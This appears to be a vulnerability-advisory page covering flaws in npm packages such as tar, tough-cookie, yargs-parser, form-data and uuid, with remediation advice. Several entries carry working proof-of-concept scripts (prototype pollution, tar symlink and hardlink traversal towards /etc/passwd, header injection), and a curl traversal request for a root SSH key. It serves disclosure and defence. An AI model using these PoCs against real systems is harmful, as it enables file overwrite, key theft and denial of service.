Find, fix and prevent vulnerabilities in your code.

Overview

Affected versions of this package are vulnerable to CRLF Injection via the _multiPartHeader function when untrusted input is provided via field or filename to FormData#append. An attacker can inject additional headers or multipart parts by including carriage returns, line feeds, or double quotes in the input. This can allow the modification or addition of form fields visible to downstream parsers.

PoC

const FormData = require('form-data');
const form = new FormData();
form.append('email"\r\nX-Injected: true\r\nfake="', 'user@example.com');
console.log(form.getBuffer().toString());

Remediation

Upgrade form-data to version 2.5.6, 3.0.5, 4.0.6 or higher.

References

• GitHub Commit
• GitHub Commit
• GitHub Commit
• Maintainer's Advisory

Overview

js-yaml is a human-friendly data serialization language.

Affected versions of this package are vulnerable to Inefficient Algorithmic Complexity in the storeMappingPair() function in loader.js when handling repeated aliases in merge sequences. An attacker can exhaust CPU resources and significantly degrade service availability by submitting malicious YAML documents.

Remediation

Upgrade js-yaml to version 4.2.0 or higher.

References

• GitHub Advisory
• GitHub Commit

Overview

tar is a full-featured Tar for Node.js.

Affected versions of this package are vulnerable to Interpretation Conflict due to improper handling of PAX extended header size overrides in intermediary metadata headers. An attacker can cause inconsistent archive parsing results between different tar implementations by crafting a malicious tar archive that desynchronizes the parser's interpretation, potentially hiding files from scanners or extractors that rely on different tools.

Remediation

Upgrade tar to version 7.5.16 or higher.

References

• GitHub Advisory
• GitHub Commit

Overview

request is a simplified http request client.

Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) due to insufficient checks in the lib/redirect.js file by allowing insecure redirects in the default configuration, via an attacker-controller server that does a cross-protocol redirect (HTTP to HTTPS, or HTTPS to HTTP).

NOTE: request package has been deprecated, so a fix is not expected. See https://github.com/request/request/issues/3142.

Remediation

A fix was pushed into the master branch but not yet published.

References

• GitHub Commit
• GitHub Issue
• GitHub PR

Overview

tar is a full-featured Tar for Node.js.

Affected versions of this package are vulnerable to Uncontrolled Resource Consumption ('Resource Exhaustion') due to the lack of folders count validation during the folder creation process. An attacker who generates a large number of sub-folders can consume memory on the system running the software and even crash the client within few seconds of running it using a path with too many sub-folders inside.

Remediation

Upgrade tar to version 6.2.1 or higher.

References

• GitHub Commit

Overview

tough-cookie is a RFC6265 Cookies and CookieJar module for Node.js.

Affected versions of this package are vulnerable to Prototype Pollution due to improper handling of Cookies when using CookieJar in rejectPublicSuffixes=false mode. Due to an issue with the manner in which the objects are initialized, an attacker can expose or modify a limited amount of property information on those objects. There is no impact to availability.

PoC

// PoC.js
async function main(){
var tough = require("tough-cookie");
var cookiejar = new tough.CookieJar(undefined,{rejectPublicSuffixes:false});
// Exploit cookie
await cookiejar.setCookie(
  "Slonser=polluted; Domain=__proto__; Path=/notauth",
  "https://__proto__/admin"
);
// normal cookie
var cookie = await cookiejar.setCookie(
  "Auth=Lol; Domain=google.com; Path=/notauth",
  "https://google.com/"
);

//Exploit cookie
var a = {};
console.log(a["/notauth"]["Slonser"])
}
main();

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

• Unsafe Object recursive merge

• Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

• Application server

• Web server

• Web browser

How to prevent

1. Freeze the prototype— use Object.freeze (Object.prototype).

2. Require schema validation of JSON input.

3. Avoid using unsafe recursive merge functions.

4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade tough-cookie to version 4.1.3 or higher.

References

• GitHub Commit
• GitHub Issue
• GitHub Release

Overview

tar is a full-featured Tar for Node.js.

Affected versions of this package are vulnerable to Improper Handling of Unicode Encoding in Path Reservations via Unicode Sharp-S (ß) Collisions on macOS APFS. An attacker can overwrite arbitrary files by exploiting Unicode normalization collisions in filenames within a malicious tar archive on case-insensitive or normalization-insensitive filesystems.

Note:

This is only exploitable if the system is running on a filesystem such as macOS APFS or HFS+ that ignores Unicode normalization.

Workaround

This vulnerability can be mitigated by filtering out all SymbolicLink entries when extracting tarball data.

PoC

const tar = require('tar');
const fs = require('fs');
const path = require('path');
const { PassThrough } = require('stream');

const exploitDir = path.resolve('race_exploit_dir');
if (fs.existsSync(exploitDir)) fs.rmSync(exploitDir, { recursive: true, force: true });
fs.mkdirSync(exploitDir);

console.log('[*] Testing...');
console.log(`[*] Extraction target: ${exploitDir}`);

// Construct stream
const stream = new PassThrough();

const contentA = 'A'.repeat(1000);
const contentB = 'B'.repeat(1000);

// Key 1: "f_ss"
const header1 = new tar.Header({
    path: 'collision_ss',
    mode: 0o644,
    size: contentA.length,
});
header1.encode();

// Key 2: "f_ß"
const header2 = new tar.Header({
    path: 'collision_ß',
    mode: 0o644,
    size: contentB.length,
});
header2.encode();

// Write to stream
stream.write(header1.block);
stream.write(contentA);
stream.write(Buffer.alloc(512 - (contentA.length % 512))); // Padding

stream.write(header2.block);
stream.write(contentB);
stream.write(Buffer.alloc(512 - (contentB.length % 512))); // Padding

// End
stream.write(Buffer.alloc(1024));
stream.end();

// Extract
const extract = new tar.Unpack({
    cwd: exploitDir,
    // Ensure jobs is high enough to allow parallel processing if locks fail
    jobs: 8 
});

stream.pipe(extract);

extract.on('end', () => {
    console.log('[*] Extraction complete');

    // Check what exists
    const files = fs.readdirSync(exploitDir);
    console.log('[*] Files in exploit dir:', files);
    files.forEach(f => {
        const p = path.join(exploitDir, f);
        const stat = fs.statSync(p);
        const content = fs.readFileSync(p, 'utf8');
        console.log(`File: ${f}, Inode: ${stat.ino}, Content: ${content.substring(0, 10)}... (Length: ${content.length})`);
    });

    if (files.length === 1 || (files.length === 2 && fs.statSync(path.join(exploitDir, files[0])).ino === fs.statSync(path.join(exploitDir, files[1])).ino)) {
        console.log('\[*] GOOD');
    } else {
        console.log('[-] No collision');
    }
});

Remediation

Upgrade tar to version 7.5.4 or higher.

References

• GitHub Commit

Overview

uuid is a RFC4122 (v1, v4, and v5) compliant UUID library.

Affected versions of this package are vulnerable to Improper Validation of Specified Index, Position, or Offset in Input due to accepting external output buffers but not rejecting out-of-range writes (small buf or large offset). This inconsistency allows silent partial writes into caller-provided buffers.

PoC

cd /home/StrawHat/uuid
npm ci
npm run build

node --input-type=module -e "
import {v4,v5,v6} from './dist-node/index.js';
const ns='6ba7b810-9dad-11d1-80b4-00c04fd430c8';
for (const [name,fn] of [
  ['v4',()=>v4({},new Uint8Array(8),4)],
  ['v5',()=>v5('x',ns,new Uint8Array(8),4)],
  ['v6',()=>v6({},new Uint8Array(8),4)],
]) {
  try { fn(); console.log(name,'NO_THROW'); }
  catch(e){ console.log(name,'THREW',e.name); }
}"

Remediation

Upgrade uuid to version 11.1.1, 14.0.0 or higher.

References

• GitHub Commit
• GitHub Commit
• GitHub Release

Overview

Affected versions of this package are vulnerable to Missing Release of Resource after Effective Lifetime via the makeres function due to improperly deleting keys from the reqs object after execution of callbacks. This behavior causes the keys to remain in the reqs object, which leads to resource exhaustion.

Exploiting this vulnerability results in crashing the node process or in the application crash.

Note: This library is not maintained, and currently, there is no fix for this issue. To overcome this vulnerability, several dependent packages have eliminated the use of this library.

To trigger the memory leak, an attacker would need to have the ability to execute or influence the asynchronous operations that use the inflight module within the application. This typically requires access to the internal workings of the server or application, which is not commonly exposed to remote users. Therefore, “Attack vector” is marked as “Local”.

PoC

const inflight = require('inflight');

function testInflight() {
  let i = 0;
  function scheduleNext() {
    let key = `key-${i++}`;
    const callback = () => {
    };
    for (let j = 0; j < 1000000; j++) {
      inflight(key, callback);
    }

    setImmediate(scheduleNext);
  }


  if (i % 100 === 0) {
    console.log(process.memoryUsage());
  }

  scheduleNext();
}

testInflight();

Remediation

There is no fixed version for inflight.

References

• GitHub Issue
• GitHub PR

Overview

tar is a full-featured Tar for Node.js.

Affected versions of this package are vulnerable to Directory Traversal via processing of hardlinks. An attacker can read or overwrite arbitrary files on the file system by crafting a malicious TAR archive that bypasses path traversal protections during extraction.

Details

A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.

Directory Traversal vulnerabilities can be generally divided into two types:

• Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.

st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.

If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.

curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa

Note %2e is the URL encoded version of . (dot).

• Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as Zip-Slip.

One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.

The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:

2018-04-15 22:04:29 .....           19           19  good.txt
2018-04-15 22:04:42 .....           20           20  ../../../../../../root/.ssh/authorized_keys

Remediation

Upgrade tar to version 7.5.7 or higher.

References

• GitHub Commit

Overview

tar is a full-featured Tar for Node.js.

Affected versions of this package are vulnerable to Directory Traversal via insufficient sanitization of the linkpath parameter during archive extraction. An attacker can overwrite arbitrary files or create malicious symbolic links by crafting a tar archive with hardlink or symlink entries that resolve outside the intended extraction directory.

PoC

const fs = require('fs')
const path = require('path')
const tar = require('tar')

const out = path.resolve('out_repro')
const secret = path.resolve('secret.txt')
const tarFile = path.resolve('exploit.tar')
const targetSym = '/etc/passwd'

// Cleanup & Setup
try { fs.rmSync(out, {recursive:true, force:true}); fs.unlinkSync(secret) } catch {}
fs.mkdirSync(out)
fs.writeFileSync(secret, 'ORIGINAL_DATA')

// 1. Craft malicious Link header (Hardlink to absolute local file)
const h1 = new tar.Header({
  path: 'exploit_hard',
  type: 'Link',
  size: 0,
  linkpath: secret 
})
h1.encode()

// 2. Craft malicious Symlink header (Symlink to /etc/passwd)
const h2 = new tar.Header({
  path: 'exploit_sym',
  type: 'SymbolicLink',
  size: 0,
  linkpath: targetSym 
})
h2.encode()

// Write binary tar
fs.writeFileSync(tarFile, Buffer.concat([ h1.block, h2.block, Buffer.alloc(1024) ]))

console.log('[*] Extracting malicious tarball...')

// 3. Extract with default secure settings
tar.x({
  cwd: out,
  file: tarFile,
  preservePaths: false
}).then(() => {
  console.log('[*] Verifying payload...')

  // Test Hardlink Overwrite
  try {
    fs.writeFileSync(path.join(out, 'exploit_hard'), 'OVERWRITTEN')
    
    if (fs.readFileSync(secret, 'utf8') === 'OVERWRITTEN') {
      console.log('[+] VULN CONFIRMED: Hardlink overwrite successful')
    } else {
      console.log('[-] Hardlink failed')
    }
  } catch (e) {}

  // Test Symlink Poisoning
  try {
    if (fs.readlinkSync(path.join(out, 'exploit_sym')) === targetSym) {
      console.log('[+] VULN CONFIRMED: Symlink points to absolute path')
    } else {
      console.log('[-] Symlink failed')
    }
  } catch (e) {}
})

Details

A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.

Directory Traversal vulnerabilities can be generally divided into two types:

• Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.

st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.

If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.

curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa

Note %2e is the URL encoded version of . (dot).

• Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as Zip-Slip.

One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.

The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:

2018-04-15 22:04:29 .....           19           19  good.txt
2018-04-15 22:04:42 .....           20           20  ../../../../../../root/.ssh/authorized_keys

Remediation

Upgrade tar to version 7.5.3 or higher.

References

• GitHub Commit
• PoC in GitHub

Overview

yargs-parser is a mighty option parser used by yargs.

Affected versions of this package are vulnerable to Prototype Pollution. The library could be tricked into adding or modifying properties of Object.prototype using a __proto__ payload.

Our research team checked several attack vectors to verify this vulnerability:

1. It could be used for privilege escalation.
2. The library could be used to parse user input received from different sources:
   • terminal emulators
   • system calls from other code bases
   • CLI RPC servers

PoC by Snyk

const parser = require("yargs-parser");
console.log(parser('--foo.__proto__.bar baz'));
console.log(({}).bar);

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

• Unsafe Object recursive merge

• Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

• Application server

• Web server

• Web browser

How to prevent

1. Freeze the prototype— use Object.freeze (Object.prototype).

2. Require schema validation of JSON input.

3. Avoid using unsafe recursive merge functions.

4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade yargs-parser to version 5.0.1, 13.1.2, 15.0.1, 18.1.1 or higher.

References

• Command Injection PoC
• GitHub Fix Commit
• Snyk Research Blog

Overview

natural is a General natural language (tokenizing, stemming (English, Russian, Spanish), part-of-speech tagging, sentiment analysis, classification, inflection, phonetics, tfidf, WordNet, jaro-winkler, Levenshtein distance, Dice's Coefficient) facilities for node.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) due to using the regex /^\s+|\s+$/g in dice_coefficient.js file.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

• A The string must start with the letter 'A'
• (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
• D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

1. CCC
2. CC+C
3. C+CC
4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade natural to version 5.1.11 or higher.

References

• GitHub Commit
• GitHub Commit
• GitHub Issue
• GitHub PR
• GitHub Release

Overview

redis is an A high performance Redis client.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). When a client is in monitoring mode, monitor_regex, which is used to detected monitor messages` could cause exponential backtracking on some strings, leading to denial of service.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

• A The string must start with the letter 'A'
• (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
• D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

1. CCC
2. CC+C
3. C+CC
4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade redis to version 3.1.1 or higher.

References

• GitHub Commit
• GitHub Release

Overview

uglify-js is a JavaScript parser, minifier, compressor and beautifier toolkit.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the string_template and the decode_template functions.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

• A The string must start with the letter 'A'
• (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
• D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

1. CCC
2. CC+C
3. C+CC
4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade uglify-js to version 3.14.3 or higher.

References

• GitHub Commit
• GitHub Issue
• GitHub PR
• GitHub PR